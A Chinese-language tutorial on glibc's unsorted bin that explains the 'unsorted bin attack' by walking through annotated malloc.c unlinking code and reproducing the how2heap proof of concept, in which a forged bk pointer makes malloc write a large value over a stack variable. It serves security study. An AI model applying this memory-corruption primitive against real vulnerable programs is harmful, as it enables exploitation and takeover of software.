先看看unsorted bin的入链和出链情况

#include <malloc.h>

int main()
{
    char* a = malloc(0x88);
    malloc(0x8);
    char* b = malloc(0x100);
    malloc(0x8);
    free(a);
    free(b);

    char* c = malloc(0x88);
    char* d = malloc(0x100);

    return 0;
}

分配chunk

char* a = malloc(0x88);
malloc(0x8);
char* b = malloc(0x100);
malloc(0x8);

chunk a释放到 unsorted bin中

chunk b释放到unsorted bin中

简化一下（都是指向的chunk头部）

可以看到，最近释放的chunk与unsorted bin头结点相连

• unsorted bin中的bk指向最旧的chunk
• unsorted bin中的fd 指向最新的chunk

从unsorted bin中申请回chunk a

当将一个 unsorted bin 取出的时候，会将 bck->fd 的位置写入本 Unsorted Bin 的位置。

          /* remove from unsorted list */
          if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

unsorted bin attack原理确实是这一块的代码，但是大佬讲的言简意赅，下面我会啰嗦一点的讲。

---

由于是把chunk a申请回来，则unsorted bin链从如下图

转变为如下图

需要修正的是：

• chunk b fd的内容
• unsorted bin 头节点bk的内容

---

在malloc.c源码中_int_malloc函数中，要申请的chunk大小在fastbin，small bin中没有现成的chunk满足时，会整理unsorted bin

• 先将unsorted bin中的chunk一个一个先脱链(怎么脱链不管)，但每次脱链unsorted bin链需要将其剩余的所有chunk的fd,bk修正正常
• 如果脱链的chunk大小和申请的大小相同，就直接使用
• 否则放入的small bin或者large bin中

unsorted bin attack就发生在chunk脱链，unsorted bin链表重新整理这一步

---

下面是正常情况，在当前示例中：victim就是chunk a，bck就是chunk b
(如果victim是chunk b,则 bck就是unsorted bin)

In file: /glibc/2.23/source/malloc/malloc.c
   3468     {
   3469       int iters = 0;
   3470       while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
   3471         {
   3472           bck = victim->bk;	 【0】// victim是当前检查的chunk，bck是该chunk之后(时间上)放入unsorted bin的chunk
   									 // victim理解为chunk a,bck理解为chunk b
 ► 3473           if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
   3474               || __builtin_expect (victim->size > av->system_mem, 0))
   3475             malloc_printerr (check_action, "malloc(): memory corruption",
   3476                              chunk2mem (victim), av);
   3477           size = chunksize (victim);

从unsorted bin的bk中，获取最旧的chunk，之后再根据chunk->bk，从最旧到最新开始遍历，尝试在unsorted bin链表中找到合适的chunk

---

然后chunk a就脱链（怎么脱链，放到哪里的逻辑，在修正的代码之后），unsorted bin和chunk b开始修正其fd,bk，修正的代码就是上面的

          /* remove from unsorted list */
          if (__glibc_unlikely (bck->fd != victim))
            malloc_printerr ("malloc(): corrupted unsorted chunks 3");
          unsorted_chunks (av)->bk = bck; 【1】
          bck->fd = unsorted_chunks (av); 【2】

• 【0】bck就是chunk b，是从bck = victim->bk获取到的
• 【1】unsorted_chunks (av)->bk = bck;，修正unsorted bin头节点的bk
• 【2】bck->fd = unsorted_chunks (av);，修正chunk b的fd

如何产生unsorted bin attack

伪造从unsorted bin链中，要脱链chunk的bk

unsorted bin attack的效果就是在指定的位置，写入unsorted bin头结点的首地址，就是那个所谓的较大的值。

需要注意的是，虚假的chunk fd必须是一个可写的地址

---

现在再看how2heap的代码就容易理解一些。

#include <stdio.h>
#include <stdlib.h>

int main(){
	fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
	fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
		   "global variable global_max_fast in libc for further fastbin attack\n\n");

	unsigned long stack_var=0;
	fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
	fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

	unsigned long *p=malloc(400);
	fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
	fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
           "the first one during the free()\n\n");
	malloc(500);

	free(p);
	fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
		   "point to %p\n",(void*)p[1]);

	//------------VULNERABILITY-----------

	p[1]=(unsigned long)(&stack_var-2);
	fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
	fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

	//------------------------------------

	malloc(400);
	fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
		   "rewritten:\n");
	fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}